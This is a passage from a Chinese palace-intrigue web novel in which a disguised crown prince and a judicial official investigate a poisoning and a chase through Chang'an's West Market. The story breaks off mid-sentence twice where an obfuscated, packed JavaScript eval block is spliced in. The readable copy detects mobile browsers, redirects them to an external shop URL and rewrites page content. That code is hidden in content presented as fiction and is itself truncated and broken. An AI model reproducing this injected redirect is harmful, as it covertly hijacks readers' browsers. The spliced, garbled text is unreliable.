怎么忘记第一次见面,他下令砍马的狠厉。 他会怎么对她?不用多想,肯定是狠狠地弄她。 毕竟他们是死对头,又不是朋友。 这样的道理推己及人,若换到李相筠有机会,她也不会放过裴承,毋庸置疑! 咔嚓咔嚓,小飞不知道什么时候又在啃扁桃仁。 寂静之中,那利齿啃咬声愈发明显,两道视线不约而同聚在它身上,吓得它一个激灵,果子掉盘子里,自己则一溜烟躲到笔架后。 最后还是裴承先开的口,叫外面的天星烧两个火盆子放进来。 然后才对李相筠道: “说说吧,天星草是怎么回事?” 李相筠把自己看过关娘子手上的星状红痕以及她查过太医署档案里的情况都说了出来,除了自己曾经也中过天星草毒的事没有必要提起。 “不利于行,神魂失智。” “前一个是关娘子无法行走,后一个对应的不正是她丧失了记忆嘛?” “所以那日你沉思失神就是因为看见关娘子手上的天星草毒?” 李相筠把手放在火盆上,“是,因为天星草早该灭绝了,我以为是看错了。” “殿下那时候年纪应该还很小,为什么记得这么清楚那一定是天星草毒?” 为什么? 正元十八年,李相筠九岁,宫里不断有人倒下,大家都陷入瘟疫的恐慌当中。 她亲眼看见一个个宫人被拖出去坑埋,有些人并没有彻底咽气,手还在一铲铲泼下的土里抽.搐挥动,那手臂上的星状红痕就在她眼前,不停地挥动。 那是什么样的人间炼狱? 她吓呆了。 直到皇兄用手轻轻捂住她的眼睛,“阿筠不要看,也不要怕,皇兄会保护阿筠的。” “总之症状是对的上的,你管孤怎么记住的。”李相筠没好气道,她又把冰凉的手心翻到炭火的上方,仔仔细细烘着冷入骨髓的寒意。 裴承“嗯”了声,目光也不由落到太子那双手上,白净瘦长,指甲盖圆润带着淡淡的粉色珠光,看起来很温顺,就像他现在裹着银灰色的氅衣,把脑袋缩在一圈茸茸毛领之中的样子,乖得不像话。 可实际上呢,他又凶又狠,还铁石心肠。 真是好会骗人的一张脸。 李相筠看着铜盆里烧得通红的炭火,慢悠悠道:“拥有天星草的人为什么会选择在无关紧要的关娘子身上下手,这不是很容易惹火上身吗?除非关娘子知道的是比天星草还要严重的秘密,如果能够让关娘子恢复记忆,很多问题不就迎刃而解了。” “那要如何才能让关娘子恢复记忆?”裴承发问。 李相筠把目光从炭火上挪去他脸上,一耸肩膀,“这就该大理寺卿出力了。” 裴承:“殿下这样让臣有上当受骗的感觉。” “愿赌服输啊,你听了孤的情报,还能吐出来不成,到你说了。”李相筠可没有不占人便宜的好品德,相反她那眼神里都是幸灾乐祸。 看着裴承吃瘪就是痛快事一件。 裴承把卷宗整理好,起身道:“跟臣来。” 李相筠依依不舍地把手从火盆上挪开,拉紧大氅跟在裴承身后。 到达存放证物的档室。 李相筠立刻四处看了起来。 “死者死因中毒。”裴承一个大停顿,才缓缓接上下半句,“毒就在裱画纸上。” 李相筠不由瞪着裴承,她都拿起来看了,他才说这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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裴承又转身拿起了一副画,指了地方给她看,“这几副画都有这个标记。” 李相筠看见了,是关娘子藏在画中的赤乌流寇标记。 她为什么要冒险在画上留下这样的标记,只要是赤乌流寇的人瞧见了就会认出来,岂不是会找她的麻烦。 可惜,她现在失忆了,一切问题无从而知。 “或许关娘子失忆也是线索,查查接触她的人,里面或许有和赤乌流寇有关的。” “关侍郎经常与药商打交道,他弄来毒也很容易。” “但是关娘子心脏不好,乱用毒物很可能会死,作为疼爱妹妹的兄长,关侍郎不会冒险。” “你又不是关侍郎,你怎么知道他不会冒险,他说不定只是表面表现出来是个好兄长,背地里还不知道是什么样的。”李相筠怀疑起人时,总是先往最坏的一面想,“人不可貌相。” “臣怕殿下是以貌取人,关侍郎对关娘子的爱护丝毫不假,殿下也看见关府处处俭朴,就连门房都要身兼数职,可见用度紧张,但是关娘子所用之物样样是精品,画材本就耗费巨大,关娘子名声在外却不以画谋利,实乃任性,关侍郎都由她任她,怎么能说不是真心实意。” “话虽如此,但是黑市上关娘子的画作却被卖以高价,你猜关侍郎知不知道?他管没管?”李相筠在大氅里搓着冰冷的手指,脸色越发白,显得那一对眼睛,黑亮无比。 “孤听闻,关侍郎也擅丹青。” 裴承看见门外刮起的大风,把光秃的树枝吹得乱舞一通,昏暗的天色看起来就要下一场大雨。 “倘若如殿下所说,关侍郎靠黑市上的赝品画卖高价,敛巨资,他要这么多钱又不花销为的是什么?” 李相筠抿了下唇。 关侍郎要为关娘子请名医、用名药倾家荡产的传闻不绝于耳。 裴承道:“臣看的出,他眼神里对关娘子的疼爱怜惜不会有假。” 何况立一个怜爱妹妹到不成亲又散财的形象对关侍郎究竟有什么好处? 毕竟在官场,联姻才是高官们官运亨通的捷径。 关侍郎此举,无疑是挥刀断臂,自绝官路。 李相筠疑惑瞥他,“你又知道?” 裴家那种争斗不休的环境里,很难找到和睦相处的兄弟姐妹吧? “臣说过,臣的记忆很好,看过就不会忘记。”裴承不愿意和他多说兄妹之事,继续说着线索:“除关侍郎之外,关家有门房一人、家厨杂役一人、通房一人、婢女两人。” 李相筠点头认可,先从身边人查起,能给关娘子投毒的首先是能够接触她的人,也方便观察她的各种情况。 “不过,在那段时间里与关娘子接触过的人还有一个,郡主李竹芸。” 裴承想也没想,道:“她不可能。” 李相筠感到奇怪,坚持己见道:“为什么?孤倒是觉得她嫌疑不小,在见关娘子之前,郡主就私底下为关娘子施过针,她若是想要下毒,再容易不过,而且事后孤问郡主,郡主却说关娘子手上没有星状红痕,她是不知道还是在掩饰什么,难道不可疑?” 她目光一瞥裴承的脸色,“裴少保不愿意查难道是怜香惜玉?怕查出什么不好?” 她紧接着道:“孤反正是会查个清楚。” 裴承沉了脸,正色道:“殿下还是别动她为好。” “哦?孤动她,”李相筠还没见过裴承这么急于护着谁,不免起了反骨:“你就要跟孤翻脸?” 裴承是了解李相筠恶劣冷酷的性子,他为达成目的,可以不管不顾,肆意妄为。 李竹芸软弱,哪是他的对手,经得起他的折腾。 他宁可自己暗暗查,也不想太子动手。 “殿下最好不要尝试。”裴承的眉目很俊,舒展开时瞧着还是一副温润君子的模样,但是眉心浅皱,剑眉压下,那眉眼之间尽是凶狠戾气。 李相筠在对方释放的威逼中,慢慢扯出一抹冷笑。 走出大理寺,李相筠环着自己发冷的骨头,“邓谦。” “殿下有何吩咐?”邓谦立刻拱手。 李相筠瞟了眼路边停靠的马车,上面刻着梁氏商会,似是一辆商行租赁的普通车。 “先去清心观查查李竹芸的几个师父,是不是真如她所说,精通医术。” 裴承居然威胁她,那她还偏要试一试! 29.迟来 清心观。 头戴莲花冠的女冠们正低头在缓缓流淌的溪水里锤洗衣物,肥胖的麻雀树枝上蹦跳,欢叫,一起享受安逸的午后。 “吟真,小徒弟又送了糕点来,就摆在你屋里桌上了啊!” 不远处的小径上,一名着道袍的女冠朝这边挥挥手,两手沾湿的吟真便笑着扬起了头,回了声:“知道了。” 旁边的女冠一阵羡慕,打趣道:“你这个小徒弟真不错,回去过好日子了还记挂你们几个当师父的。” 另一个说:“那小女郎也是命苦,那么弱的身体,猫一样的病嚎,若非吟真几个心善,日日用米汤喂着,根本活不下来。” “哎可不是,明明是郡主,偏偏遇上狠心的耶娘,那么小的孩子就扔到观里不闻不问,现在要回去,又有什么用?孩子的心早伤透了。” “就是啊,其实长安也不是什么太平地,乌烟瘴气的,哪有山上清净。” 旁边的人你一句我一句,那叫吟真的女冠渐渐湿了眼睛,拎袖擦了擦,抱起放着衣物的木桶,道了句:“我先回了。” 在她的身后,又有几声窃窃私语。 “说起来吟真好像是正元十一年才到观里来的吧,你看她走路说话都是一副端着的样子,从前是什么人家出来的?” “好像也个大户人家,怪可怜,听说因为丢了个孩子发疯被人赶出来,不知道怎么流落到了清心观门口,观主看她实在可怜才收了下来。” 有人叹息,“难怪对小云那么疼爱,像是自己亲生的一样。” / “小云。” 李竹芸正提笔写着药方,耳畔隐约听见了一声温柔的呼唤,她怔然不动,墨汁在笔头凝聚,最后不堪重负地溅落在宣纸上,晕开了已经写好的一行字。 “郡主怎么了?”婢女端了茶具进来,一眼就看见她失魂落魄的模样,放下后一连串的关心道:“是不是哪里不舒服?早知道就不要跟奴婢一大早排队去买糕点了,是不是哪里冷到了,要不要传个医士来看看?” 李竹芸摇摇头,嘴角扬起浅笑,“你忘记我自己就是大夫了?” 婢女一拍脑袋,懊恼了句,“瞧奴婢这脑子,不记得了。” 是不记得也是不习惯。 这婢女从前是伺候郡王妾室的,那些娘子都是知书达理之人,怎么会做低人一等的药婆呢? 李竹芸又没了动静,陷入沉思。 婢女倒着茶关心道:“郡主最近是不是遇到了难事,总是魂不守舍的?” 李竹芸掐着笔,道:“没有,我只是在想我娘是什么样的人,回到家这么久,还从没有听人提起过,阿耶也不肯说,兄长更是一听就跟我翻脸……” 婢女怜惜地看着小郡主,她生下来就被送走了,还是婴孩哪有什么印象,只可惜她年纪也不大,并没有幸见过那位郡王夫人。 “奴婢听阿娘说过,是个很温柔的夫人,对奴婢们都很好呢!” 温柔? 李竹芸不由想到了清云观里的几位师父,尤其是吟真师父,会吹很多好听的曲子,让她每夜都睡得香甜。 可惜,她再没有机会见她们了。 李竹芸把桌上的纸一揉,换了一张新的,提笔写信。 万望十四日傍晚西市坡子杂铺拨冗相见。 徒芸,敬上。 最后她提笔画一个勾股形里面圈了个正圆。 / 东宫。 “都死了?” “是,清心观那边刚报了官,但是……”邓谦难得顿了声,引来李相筠的视线。 “有什么话不敢说的?” “死者四人,俱是吃完相同糕点后当夜上吐下泻,呕血而亡。” “毒杀。”李相筠又问:“糕点是从何而来的?” “赵郡王府,灵宛郡主亲自购买,派府上的小厮骑快马送去。”邓谦看着太子,“我们的人就晚了一步,观主也死了,只剩下几个女冠吓得不轻。” “这么明显,反倒像是别人的障眼法。” 邓谦点头,“若是郡主要杀人灭口,也不会留下这么容易追查的把柄,不过,问过剩下几个女冠,都说不知道郡主的师父们有精通针灸医术的。” “没有?那郡主的医术从何学来?”李相筠问了一个邓谦回答不了的问题。 “看来,得好好盯着郡主了。”李相筠命令:“不管你们用什么法子,孤只要结果。” 邓谦明白,“是。” / 清心观的惨案很快就传回长安,李竹芸闻此噩耗,悲痛欲绝发起了高烧。 她身边伺候的婢女以及送糕点的小厮都被抓进大理寺牢房审问。 就连那间糕点铺也查封,但大理寺里里外外盘查了几日,一无所获。 能接触到糕点的人只有打包糕点的伙计、灵宛郡主、婢女、小厮以及四名死者。 灵宛郡主身份尊贵,大理寺没有确切证据不好拿她下狱审问,都是大理寺卿亲自上府询问。 李相筠得知裴承每日都这样忙碌,心情很是不错,就连喝苦药都不用糖块压着了。 直到一日,邓谦带回来消息,李竹芸偷偷出门了。 李相筠抱着大鹅,奇怪道:“她师父刚死,案子也没破,急着去做什么?” 紧接着,她想起了些事,就把大鹅往边上一丢,站起来道:“孤要去看看。” 邓谦知道太子向来拿定的主意很难更改,故而也不劝阻,就下去安排出行。 大寒天出门对太子而言只有冷这个困难。 不过为满足好奇,这点难处也不是不能克服。 坐车赶到西市,李相筠抱手炉坐在街边的小食摊上,反复用手掌和手背贴住手炉上方的镂空孔,靠里面的热度,驱散渗入骨髓的寒凉。 “只有店铺伙计和郡主,伙计在柜台处擦拭蜡烛台,郡主坐在椅子上没有动静。”执金卫里有专门负责刺探的人,一五一十把坡子杂货铺里头的详情告诉太子。 “所以,郡主是在等人?”李相筠用手指不紧不慢敲着手炉顶。 小吃铺的店家端着盘子正好经过,被李相筠叫住,“老伯,请问那边坡子杂铺是什么人所开,开了多久,平时生意好吗?” “郎君问这个做什么?”店家狐疑打量他们这奇怪的一行人。 李相筠财大气粗道:“钱多没处花,想盘个铺子做生意。” 店家瞪大眼睛,把穿着低调但长相高调的李相筠上下打量了遍,确定这是位年纪不大口气不小,不知道哪家有钱人的傻儿子出来做散财童子,连忙摆手。 “那郎君真找错地方了!那个铺子风水不好,你没瞧见几乎都没有客人进去吗?而且啊,那儿三天两头被昆蛮奴找麻烦,都说是掌柜的得罪了红贡院的主儿。” “红贡院?” 天气冷,外面用餐的客人不多,店家也是闲着没事,边擦着盘子边跟李相筠聊了起来。 “红贡院郎君都不知道啊,长安城里昆蛮奴都是那出的,吃得少干的多,一个顶三,谁用谁知道。”店家竖起三根手指头,顺口溜般说完,又怀疑道:“郎君既然是富贵人家,怎么没有置办一二昆蛮奴?” 这可是长安最时髦的事儿啊。 经店家提醒,李相筠才对上号。 原来是来自盈国的。 皇族之中挑选侍奉左右的人都要考察几代,只有清白人家能够有资格入宫,异族人还怕他们别有目的,怎么会宽许他们侍奉贵人。 李相筠与他们接触不多也是正常。 “说起红贡院啊,那就不得不提当年辉宗皇帝的英明之举,和盈族打通商贸,才能有这么多物美价廉的奴隶和货物进来。”店家侃侃而谈,对辉宗皇帝十分敬重。 盈国在大黎东边,曾经多次骚扰大黎边境,两国边境常年交战,到辉宗皇帝时终于一鼓作气将盈国打败,盈国国主俯首称臣,甘愿上供大黎,以避亡国之灾。 辉宗皇帝也不愿意大开杀戒,遂接受盈国的降书,两国邦交,互通有无,从此打通商贸道路。 大黎彰显出大国气度,更是多次派使臣带着农耕、纺织等技术去教授他们。 而盈国则将那些调.教好的男人、女人送到大黎做人贡,这就是红贡院的由来。 金宝从前也曾跟李相筠诉过几回苦,说红贡院越来越嚣张云云,她那会并没有留意。 但隐约知道在西市,红贡院也是地头蛇之一,影响不小。 “红贡院怎么会盯上这么一间小铺子?” “这个老儿也不知道啊,就是常见那些昆蛮奴进进出出,里面喧哗吵闹,不知道在说什么……” “郎君,她从后门跟一名男子跑了。”负责盯梢的执金卫迅速过来禀告。 李相筠顾不上其他,立刻站了起来,把手炉往桌子上一扔,“追!” 巷子里,戴着兜帽的男子拽住李竹芸的手就往外跑。 李竹芸气喘吁吁:“师父,我是不是给您惹麻烦了。” “别说话,跟我来。” 执金卫的人数众多,分散在巷子里围追堵截,很快李相筠就远远看见李竹芸的身影,她身边果然有名男子,那人裹着披风,手拉住帽沿,像是很介意被人看见他的样貌。 不过李相筠还是瞥见他下巴上的一颗痣。 “黄拙?” 没想到兜兜转转,居然还能在长安逮住他,李相筠险些笑出声,她命令执金卫:“抓住黄监丞,保护郡主!” 执金卫如饿鹰扑鼠,齐齐朝黄拙的方向扑了过去。 黄拙猛地把李竹芸推开,自己转身往右手边的小巷子逃去。 李竹芸茫然失措地看向太子,眼神里尽是哀求,李相筠没有半点心软,侧首对邓谦道:“把郡主请回府。” 但李竹芸不知道受了什么刺激,扭头就跑。 执金卫已经去追黄拙,她这一跑让李相筠和邓谦都始料未及。 / “家主,郡主被太子的人惊到后,跑进巷道,里面街铺错综复杂,没跟到。”飞星从屋檐上飞窜落地。 裴承刚勒停马在路边就闻此消息,面色一沉,“太子呢?” “太子也追了进去。” 裴承抬头看了乌沉沉的天色,转眼又扫了眼小摊铺桌子上已经冷掉的手炉,“所有人,进去找郡主。” 西市的布局经过这么多年的发展变得更为自由散漫,与长安其他里坊规规整整的不同,小道曲折多变,屋檐鳞次栉比如犬牙交错,偶有空旷之地还多设有高架广台,方便戏乐。若是不熟悉的人进入其中,很容易就会迷路。 李相筠虽然平日爱玩,但是都是前呼后拥地玩,去哪里都有人殷勤地领路,何曾自己记过地。 再加上现在天色昏暗,目视有限,她追李竹芸穿过几个巷子就完全失了方向。 就连邓谦也在某个路口和她们分开,不知所踪。 李相筠怕李竹芸出事,也猜测她和黄拙有约定的地方,若这次再抓不到人,已经打草惊蛇,再想抓到黄拙就不容易了。 西市大概占地一千六百亩,南北向七百步,东西向六百五十步,若是沿着边走直线大概就一盏茶功夫到底,可若在里面不停地绕,时间变得格外漫长,就像是永远找不到乱麻堆里线头的另一端,让人绝望。 李竹芸的身体比还在养伤的李相筠好许多,跑了这么久也不见她慢下来,又仗着熟悉地形的缘故,把李相筠甩出一段不小的距离,拐了个弯就让人看不到了。 岔口旁,披着一头栗色卷发的高大异族人赤.裸着上身,拉住李相筠,笑眯眯地比手画脚,故意叽里咕噜讲着让人听不懂的话,看样子是把她当做可以招揽的客人,李相筠滑出匕首往上抵住他的咽喉,问:“刚刚经过的女郎去哪里了?” 对方立刻举起两只手,换成了流畅的官话,“往右边去了。” 李相筠追上去,两排惨白灯笼下,李竹芸正被几名男子困住,淫.笑声不断被风吹过来。 “小娘子迷路了吗?要不要到里边坐坐,陪咱几个喝喝酒压压惊。” “不要,你放开我。”李竹芸尽力板住声音拒绝,但是声线颤抖,掩不住她心底的恐惧。 “害怕了?别怕呀,我们几个会怜香惜玉的。” 李竹芸尖叫了声,从香囊里抓出一把粉末,往面前男子脸上一挥,男子扶墙止不住狂咳,呛得半死不活。 李竹芸转身要跑,另一名男子眼疾手快揪住她的头发,把她往后一扯, “臭婊子,敬酒不吃吃罚酒是吧?” 另一个巴掌就要呼下来,旁边寒光一闪,一道血线飞溅到他脸上,他愣了下才捂住鲜血直流的手大声哀嚎。 “殿殿下……”李竹芸被李相筠挡在身后,根本来不及说其他的话,两边的攻击已经袭到。 李相筠反握匕首,眼睛眨也不眨,眼前血线乱飞,眼到刀就到,快得让人没有反应和招架之力。 后面木门轰然大开又走出几人。 门外打成一团的人同时动作一顿,李相筠打量那几人的同时没有忘记猛地往旁边的人的大腿上插了一刀。 一声杀猪惨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009941|145793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫让刚走出来的几人都耳朵一疼,终于反应过来: “什么人敢在红贡院的地盘捣乱!” “老大,这个竖子太嚣张了!你看我的手,都出血了!一定要给个教训!”那被伤到手的连忙展示自己的伤口,那抱着大腿痛嚎的也滚到了老大的腿边。 “黄毛小子也敢来我们的地盘撒野!”那被称作老大的男子也当即抽出弯刀,“呸”的下吐出口里含的枣核,又“呀——”的声攻过来。 一寸短一寸险,此话一点也不假,弯刀袭来,李相筠只能握紧匕首,在对方密集又凶猛地攻势下勉强闪躲。 李相筠顾不上李竹芸,几双大手便争先恐后伸过来,要趁机拿住她。 她左躲右闪,香囊里的粉末抖得一干二净,旁边的竹竿扫帚也就能抵挡了片刻,作用不大。 她还不小心冲进李相筠和弯刀男的混战之中,眼见那刀锋迫近,在这样极端危机的时刻,人会丧失所有反应能力,不能动弹。 李竹芸也是如此。 在这千钧一发的时候,她的身体被人猛地扯开,紧接着耳边一道细微的刺啦声。 那是刀刃割开皮肉的声音。 几滴烫血喷到她的脸颊上,李竹芸定睛一看,眼圈就酸了,颤声道:“七郎……” 李相筠飞刀割断了绳子,头顶的灯笼稀里哗啦掉了下来,火油和蜡烛沾到身上就烧起了火。 李相筠一手拽住李竹芸,一边拍打灭自己肩头的小火。 “七、七郎你受伤了,为什么、为什么刚刚要帮臣女挡?” 李相筠胡乱抹了下流淌的血,无所谓地笑了声,“你是个小娘子,脸上要是有伤多不好看啊。” 李竹芸心尖发酸,眼泪忍不住掉了下来:“可是殿下……” 在她懂事后,她就从旁边村镇里的孩子口中明白自己是被抛弃在清心观里,耶娘根本不在乎她。后来在师父的帮助下她回到长安,可长安里的贵女把她当做山里来的野人,郎君们嘲笑她没有教养,兄长也对她彬彬有礼并不亲近…… “家主!在那边!” 隔着乱糟糟的工地,挖空的地基、堆积如山的木材,支起的脚手架。 裴承其实已经听见了李相筠的声音,也第一时间看见他又受伤了。 李竹芸被他拽着往前跑,后面有一伙人在追。 “七郎,那边是裴家主!” 李相筠分神往右侧看了眼,忽然间两人踩空了地,齐齐消失在众人视线里。 裴承目光追随李相筠跌落,心跳都错漏了一拍,转瞬,他清醒过来,立刻改口道:“去救郡主。” / “别拉别拉,我、我快断气了。”金宝都快哭了,上气不接下气,大冷天一张脸热得通红一片,汗滚滚而落,两只脚还在打颤。 这又是做什么啊! 太子怎么不打声招呼就到西市来,连累他都不得安生。 “殿下若是在里面有个闪失,你担当不起。”邓谦把刀架在他脖颈上。 金宝脚一软,险些给这瘟神跪下。 “邓统领啊,虽说我和红贡院有点交情,可话都没有说清楚,人家怎么可能帮忙?总要有时间的吧?” “那还不快去!”邓谦把刀背往他脖子上一靠,金宝被兵器的触感冻得跳了起来,哭丧着脸,“去去去,这就去!” 金宝擦着脑门的汗,刚迈出两步,迎面就见到裴承一行人。 飞星飞雨伴着低眉垂眼的郡主走在后面,邓谦连忙上前:“太子呢?” “太子还没上来?”裴承回头看飞星。 飞星也是纳闷:“不应该啊,我们在下面就找到了郡主……没有别的人,太子应该是自己跑了吧?” 李竹芸连忙走上两步,两只眼睛还通红的,既是冻的也是哭的,着急道:“殿下受了伤,一个人怎么行,你们快去找他啊。” “这么冷的天,殿下身体受不了。”邓谦揪住飞星,把他拖着走,“快带我去。” 裴承解开大氅,丢给飞雨,“飞雨你陪郡主到车上去。” “家主呢?” “去找太子。” 小伶鼬很不想在泥地里弄脏自己干净的皮毛,但是主人的手一动不动,挨着地面示意它快点。 它只能扑到地上,认命地在地上东嗅嗅,西闻闻。 好冷。 李相筠没有穿大氅,已经冻得有些神志不清。 一冷起来,不但身体僵硬,就连脑子都不会转了,掉下来的时候好像撞到了背,但是现在背一点也不疼,也是因为太冷吗? 那些乱糟糟的声音消失了,四周静谧,应该是安全了吧? 刚刚敌我不分,李相筠不敢冒险暴露自己,而是找了地方藏起自己。 人要是连保护自己的都不会,那会死得很快的。 好在李相筠从小就擅长找地方藏起自己。 宫里有很多少有人至的树洞、石头堆、假山缝甚至狗洞都是她的安全所,她一感觉不安就会躲起来,哪怕后面被接去东宫,也有很长一段时间会反复把自己藏起来。 皇兄总是孜孜不倦坚持来找她,每逢找到她时也不会责备她的荒唐和不懂事,还会摸摸她的脑袋,笑着道:“无妨的,皇兄总能找到你,现在好点了吗?饿不饿,我们去吃晚膳吧……” 他体谅一个从来没有安全感的小女郎,也不急着逼她从自己的世界走出来。 她真的好想皇兄。 李相筠把头埋进臂弯里。 她要是死了,皇兄会来接她吗? 胡思乱想间,她好像又听见了很多声音,似乎是在叫她。 太子? 殿下? 不不,那些都不是她。 “李相筠!”“李相筠!” 李相筠慢慢睁开眼睛,眼前隐约看见一道高大的身影,在他的身后犹如神光朦胧。 好温暖的光。 李相筠伸出两只手,贴向温暖的地方,喉间模糊咕哝了声,皇兄。 裴承被那冰凉的手指触到敏感的脖颈,瞳孔猛地一缩,顺势捉住太子的两只作乱的手拉离自己的脖子,谁知太子脑袋往下一沉,往他肩膀上重重倒下。 “你怎么才来……” 这次裴承没有动。 脾气又冷又坏的太子原来也有柔软的头发,柔软的脸颊,还有微弱又温暖的呼吸。 片刻后,裴承用虎口卡主太子的下巴,扶起那张紧闭双眼的小脸。 可是,李相筠刚刚在叫谁。 是把自己认成了谁,陆展吗? 30.欺负 雨淅淅沥沥落下,西市里的灯笼在风中打转,投下忽大忽小的光点。 李相筠从浑浑噩噩中醒转,眼睫眨了几下,视野也变得清晰。 首先看见坐在一旁垂首拧眉的陆展,远一点的地方是扶刀站在墙边的邓谦,最后是门外正在听飞星说话的裴承。 李相筠见着他,不由眉心一皱。 他怎么也在这? 难道是来为郡主讨债的? 正想着,眼前忽而一暗,沉下了一张脸,彻底挡住裴承的身影。 “殿下你总算醒了。”陆展欣喜地道。 李相筠“嗯”了声,不用人扶自己坐起身,认出盖在身上的大氅,就对陆展说:“谢谢。” 原来那时候摸到的人是陆展。 也是,除了皇兄之外,也只有他会对自己轻拿轻放,好像她是什么易碎的琉璃般。 可是,他为什么要摸她的头发? 李相筠盯着陆展,越想越奇怪,但话到嘴边,临时就变了:“你怎么在这?” “臣与几位同僚在西市用饭,看见邓统领来抓金大郎君,觉得可能出事了,便跟了过来。” 陆展又仔细打量李相筠苍白带伤的脸,道:“殿下今日怎么弄成这样?” 不但又在脸上挂了伤,甚至还把自己冻晕了。 李相筠不愿意多说,扯起唇角笑道:“没什么,就是和人打了一架。” 反正架没输就是。 飞星压低声音:“家主,卫家这个消息会是真的吗?若是真的……那这个太子岂不是……” “汪中尉想把太子拉下去,也不会指望随意捏造一个假消息就能骗我动手。” “倘若卫家在背地里……太子能够在短短三年迅速站稳脚跟也不是不可能。不过,他们犯了那么大的事居然敢插手长安的事!好大的胆子!” “沈统领的妹妹嫁给了卫衷,两人又是拜过把子的交情,这也能说通当年沈统领会力保李相筠与怀贤太子一事无关。” “哎,当年卫家也曾为怀贤太子效力,太子那么好的人,肯定对他也不差,怎么就想不通去通敌,这可是灭门的大罪,被太子舍弃也是难免的!又能怪得了谁……” 裴承抬起手止住飞星的话,他听见屋内的动静,回眸看了一眼,就见到李相筠唇角翘着,把陆展的大氅又往自己身上拽了拽,裹得严严实实,只露出一张脸,雪肌玉润,莫名显得很乖巧。 若是脸上没有那道突兀又难看的伤…… 李相筠真是个矛盾的人。 说他城府深,心狠手辣,但他却还能说出小女娘伤了脸会不好看的天真话语。 好像那刀砍在他脸上就好看一样。 可他也不是什么天真烂漫的人,傻瓜可没有这么难杀。 四面树敌却还能嚣张地活到现在,谁敢小觑了他? 屋里,陆展同太子说了句话,太子点了点头,于是陆展又起身拿了手炉,太子就跟藏果子的松鼠一样唰得把手炉又收进大氅下。 就这么怕冷? 所以被他扛起的时候还一个劲往他脖颈上贴。 他忽然开口:“我的大氅呢?” “家主的?您不是把它给了飞雨,飞雨应该带走了吧?”飞星揪住小飞,在给它擦已经泥土半干的尾巴,忙里抽闲抬头问:“怎么了?” 裴承道:“没什么。” 李相筠抱着两个手炉彻底暖和了,又把手从大氅里伸出来,陆展及时捉住她的手腕,“殿下别动,上过药了。” “你们请了医士?” 难怪脸上凉凉痒痒的,李相筠忍着不碰。 “不是,是郡主帮你上的药,她现在还在楼下煮姜汤,说殿下身体受寒了。” “李竹芸?她竟然没走?”李相筠有些意外,她看向邓谦,叫他过来,“黄拙抓到了吗?” 邓谦走到距床三步的位置,回道:“抓到了。” “黄监丞?他还在长安?”陆展还不知道事情的始末,光顾着担心太子的伤情。 邓谦点头,而后又对李相筠低声道:“裴少保说东宫无权羁押涉案犯官,要求我们交给大理寺。” 陆展拧眉道:“裴少保说的虽也没错,不过交给大理寺,殿下岂不是白费力气?” 李相筠当然不愿意把人交给大理寺。 但是现在被裴承盯上,她还真不好轻轻揭过,偷偷把人带走。 裴承怎么就这么阴魂不散! “孤要跟裴少保谈谈。”李相筠手指敲了敲,心里还在琢磨怎么开口。 邓谦带着陆展往外,裴承听见传唤走进来。 陆展盯着裴承,裴承也静静回了他一眼,两人并无对话,若无其事地擦肩而过。 裴承坐在适才陆展坐的椅子上,温声客套了句:“殿下好点了吗?” “死不了,裴少保失望了?” 裴承把小飞顺手放在床边上,让它自个打滚玩,“是啊,要不是殿下命大,臣这次难逃其咎。” 李相筠见小飞毛上还湿漉漉的就要往陆展的大氅上爬,把它拎起来扔回裴承怀里,“客套话就少说,黄监丞孤可以给大理寺,但是孤要先带回东宫,一日后你再派人接他。” 裴承接住小飞,摸了摸它的脑袋,“倘若臣不知情,殿下关他多少日,臣也管不了,但是臣已经知道了,便是半日也不成。” 裴承温润公子般坐着,但话语中的强硬让李相筠怒火中烧。 “若是孤不交,你能如何?” “殿下可以不交,但是殿下审问的时候臣要旁听。”他抛出了条件。 李相筠要问的东西岂能让旁人听了去,他这个条件李相筠答应不了,两人谈崩,一时间相顾两无言。 这时外边听见李竹芸和邓谦说话的声音,裴承遂站起身,“郡主来了。” 李相筠道:“裴少保可以先走了。” 裴承却不动,只是走到床尾的地方靠墙而立,看着李相筠,“殿下太轻了,是不是身子很虚,臣也想听听郡主怎么说……殿下怎么这个眼神?臣关心殿下健康也不是什么奇怪的事吧?” 怎么不奇怪? 李相筠狐疑地半眯起眼。 什么叫太轻了身子虚,他又没掂量过,怎么知道她轻还是重。 张口就来,胡说八道。 “殿下。”李竹芸端着托盘走进来,邓谦、飞雨跟在后面。 李相筠问:“怎么让郡主自己端着。” “不妨事,邓统领还要保护殿下,怎好拿着东西。”李竹芸温柔体贴,还考虑周全。 她在床边的小几上放下托盘,李相筠掀开大氅坐在床边,忽而发现自己身上的外衣换了一套,她揪住自己的衣襟,定定看了片刻。 李竹芸见状就道:“殿下的衣服都湿了,臣女就帮着换了一身。” “……你帮孤换的?”李相筠先去看邓谦,邓谦知道他不喜被人碰到故而早早低下了脑袋,李相筠只能盯着李竹芸的眼睛,目光幽沉,“孤是个郎君。” “臣女只是个医士,在医士眼中,患者并无性别之分。”李竹芸语气轻松,又端起了紫苏姜汤,好像什么也不知道,仅以医士的语气劝道:“殿□□质极寒,不能再受凉,否则积重难返,身体会遭不住的。” 裴承扫了眼太子。 李相筠认真打量李竹芸的神色没有异样后,才慢慢松开拳头,她接下碗却没有喝,反而问起:“郡主先前不是跑了吗?现在怎么还愿意留下来?” 李竹芸窘迫极了,耳朵尖都红得要滴血,今日若非她乱跑,也不会把自己和太子置于险境当中。 “殿下救了臣女,臣女岂是那种忘恩负义的人,自然要留下照顾殿下。” “你是为了照顾孤,还是为了黄拙?”话是对李竹芸说的,但是李相筠的眼睛却瞟向裴承。 这人执意不走,留下也是为了听这些事吧,他在意黄拙还说什么担心她身体,全是借口罢了。 一个两个全是别有目的,哪有那么多真心实意。 